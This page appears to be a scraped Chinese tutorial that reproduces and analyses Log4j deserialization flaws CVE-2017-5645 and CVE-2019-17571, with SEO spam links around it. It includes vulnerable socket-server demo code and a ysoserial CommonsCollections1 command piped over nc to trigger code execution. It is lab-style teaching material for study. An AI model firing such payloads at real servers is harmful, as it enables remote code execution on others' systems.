当前位置: 首页 > news >正文

怎样申请免费网站域名十大基本营销方式

怎样申请免费网站域名,十大基本营销方式,沈阳疫情来势凶猛,长春今日疫情最新消息文章目录 【java安全】Log4j反序列化漏洞关于Apache Log4j漏洞成因CVE-2017-5645漏洞版本复现环境漏洞复现漏洞分析 CVE-2019-17571漏洞版本漏洞复现漏洞分析 参考 【java安全】Log4j反序列化漏洞 关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out…

文章目录

    • 【java安全】Log4j反序列化漏洞
      • 关于Apache Log4j
      • 漏洞成因
      • CVE-2017-5645
        • 漏洞版本
        • 复现环境
        • 漏洞复现
        • 漏洞分析
      • CVE-2019-17571
        • 漏洞版本
        • 漏洞复现
        • 漏洞分析
      • 参考

【java安全】Log4j反序列化漏洞

关于Apache Log4j

Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。

就是用来打印日志的

漏洞成因

本文介绍的Log4j反序列化漏洞都是由于未对传入的需要发序列化的数据进行过滤,导致了恶意构造从而造成相关的反序列化漏洞

CVE-2017-5645

漏洞版本

Log4j 2.x <= 2.8.1

复现环境

  • jdk1.7
  • Log4j-api,Log4j-core 2.8.1
  • commons-collections 3.1

漏洞复现

pom.xml

<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.8.1</version>
</dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.8.1</version>
</dependency>
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

demo

public class Log4jDemo {public static void main(String[] args) {TcpSocketServer myServer = null;try {myServer = new TcpSocketServer(7777,new ObjectInputStreamLogEventBridge()); } catch (IOException e) {throw new RuntimeException(e);}myServer.run();}
}

我们运行一下这个类,它会监听本地的7777端口,然后我们需要将数据传递进去

image-20230818131417998

然后我们使用ysoserial生成一条cc链,nc传给它即可触发漏洞:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777

image-20230818131536057

漏洞分析

我们先来分析TcpSocketServer#main()方法,启动Log4j后,通过createSerializedSocketServer()创建了一个socketServer

image-20230818132119096

然后会调用startNewThread()方法,我们跟进:

public Thread startNewThread() {Thread thread = new Log4jThread(this);thread.start();return thread;}

会调用线程的start()方法,于是我们跟进TcpSocketServer#run()方法中,run()首先会判断socket是否关闭,然后调用this.serverSocket.accept()去接受数据,赋值给clientSocket变量,然后去调用SocketHandler的构造方法,返回一个handler

image-20230818132635924

我们跟进一下SocketHandler类:

public SocketHandler(Socket socket) throws IOException {this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());}

发现socket将接收到的数据转换成ObjectInputStream对象,赋值给:this.inputStream

(因为之前我们的代码中将logEventInput赋值为ObjectInputStreamLogEventBridge对象了):

image-20230818134713431

所以这个对象的wrapStream()函数会返回ObjectInputStream对象

public ObjectInputStream wrapStream(InputStream inputStream) throws IOException {return new ObjectInputStream(inputStream);}

当我们调用完SocketHandler()后,返回handler,接着调用handler.start()这样就会调用SocketHandler#run()方法:

image-20230818135047430

run方法中会将前面的产生的ObjectInputStream对象传递给this.logEventInput.logEvents()方法中,我们跟进:

image-20230818135221918

该方法会调用inputStream#readObject()方法进行反序列化,并且整个步骤没有任何过滤,因此当我们传入的数据为恶意的cc链就可以触发反序列化漏洞了

CVE-2019-17571

这个也是类似的

漏洞版本

Log4j 1.2.x <= 1.2.17

漏洞复现

pom.xml

<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId>   <!-- 注意这里使用的是log4j --><version>1.2.17</version>
</dependency>
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

src/main/resources/log4j.properties

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

Log4jDemo.java

public class Log4jDemo {public static void main(String[] args) {String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};SimpleSocketServer.main(arguments);}
}

还是和上面一样,执行,然后使用ysoserial:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
image-20230818140251546

漏洞分析

public class Log4jDemo {public static void main(String[] args) {String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};SimpleSocketServer.main(arguments);}
}

首先跟进SimpleSocketServer.main()方法:

image-20230818140701512

开启SocketServer服务器后,会设置监听端口,然后accept()将接受到的数据赋值给socket对象,接着调用SocketNode()socket给传进去

image-20230818140902294

这里和上面类似,也会将接受到的数据以ObjectInputStream对象返回给this.ois

在后面调用Thread#start()方法后会继续调用SocketNode#run()方法:

image-20230818141110840

这里同样没有经过任何过滤,就将数据进行反序列化触发漏洞

参考

https://www.anquanke.com/post/id/229489#h2-0

https://xz.aliyun.com/t/7010#toc-3

https://github.com/Maskhe/javasec/blob/master/4.log4j%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md

http://www.khdw.cn/news/40545.html

相关文章:

  • 大气网站首页欣赏网站内部seo优化包括
  • 比特币网站做任务seo博客教程
  • 电子商务网站开发与实现我想做网络推广找谁
  • 北京网站建设公司费用外包公司到底值不值得去
  • 武汉文理学院机电与建筑工程网站什么是网站外链
  • php免费网站建设百度的人工客服电话
  • 网站开发字体seo快速优化文章排名
  • 赛罕区城乡建设局网站今日军事头条新闻
  • 网站面包屑导航代码河南网站网络营销推广
  • 自己做的网站竞价好还是单页好百度云电脑网页版入口
  • 做电商不不得不知道的网站百度极速版下载安装最新版
  • 百度网站建设怎么联系云南网站建设快速优化
  • 做网站在哪里做比较好优化设计数学
  • 做企业网站靠谱的站长查询工具
  • 公职人员可以做公益网站吗搜索引擎优化公司
  • 可以做哪方面的网站高端网站建设制作
  • 影响网站排名重要因素搜索引擎优化的五个方面
  • 工信委网站建设方案谷歌商店paypal下载官网
  • 做网站分期付款比例网络小说排行榜
  • 想开一家相亲网站 怎么做app代理推广平台
  • 上海800做网站廊坊首页霸屏优化
  • 网站颜色规范最新nba排名
  • 惠州网站建设教程深圳最新疫情
  • 跟公司产品做网站西藏自治区seo 标题 关键词优化
  • 网站做海外营销方案
  • 企业网站建设有几种形式企业网站建设目标
  • 几分钟弄清楚php做网站seo搜索优化是什么
  • 企业所得税什么时候交四川游戏seo整站优化
  • 西安企业网站seo中国女排联赛排名
  • 源代码做网站互联网营销平台有哪些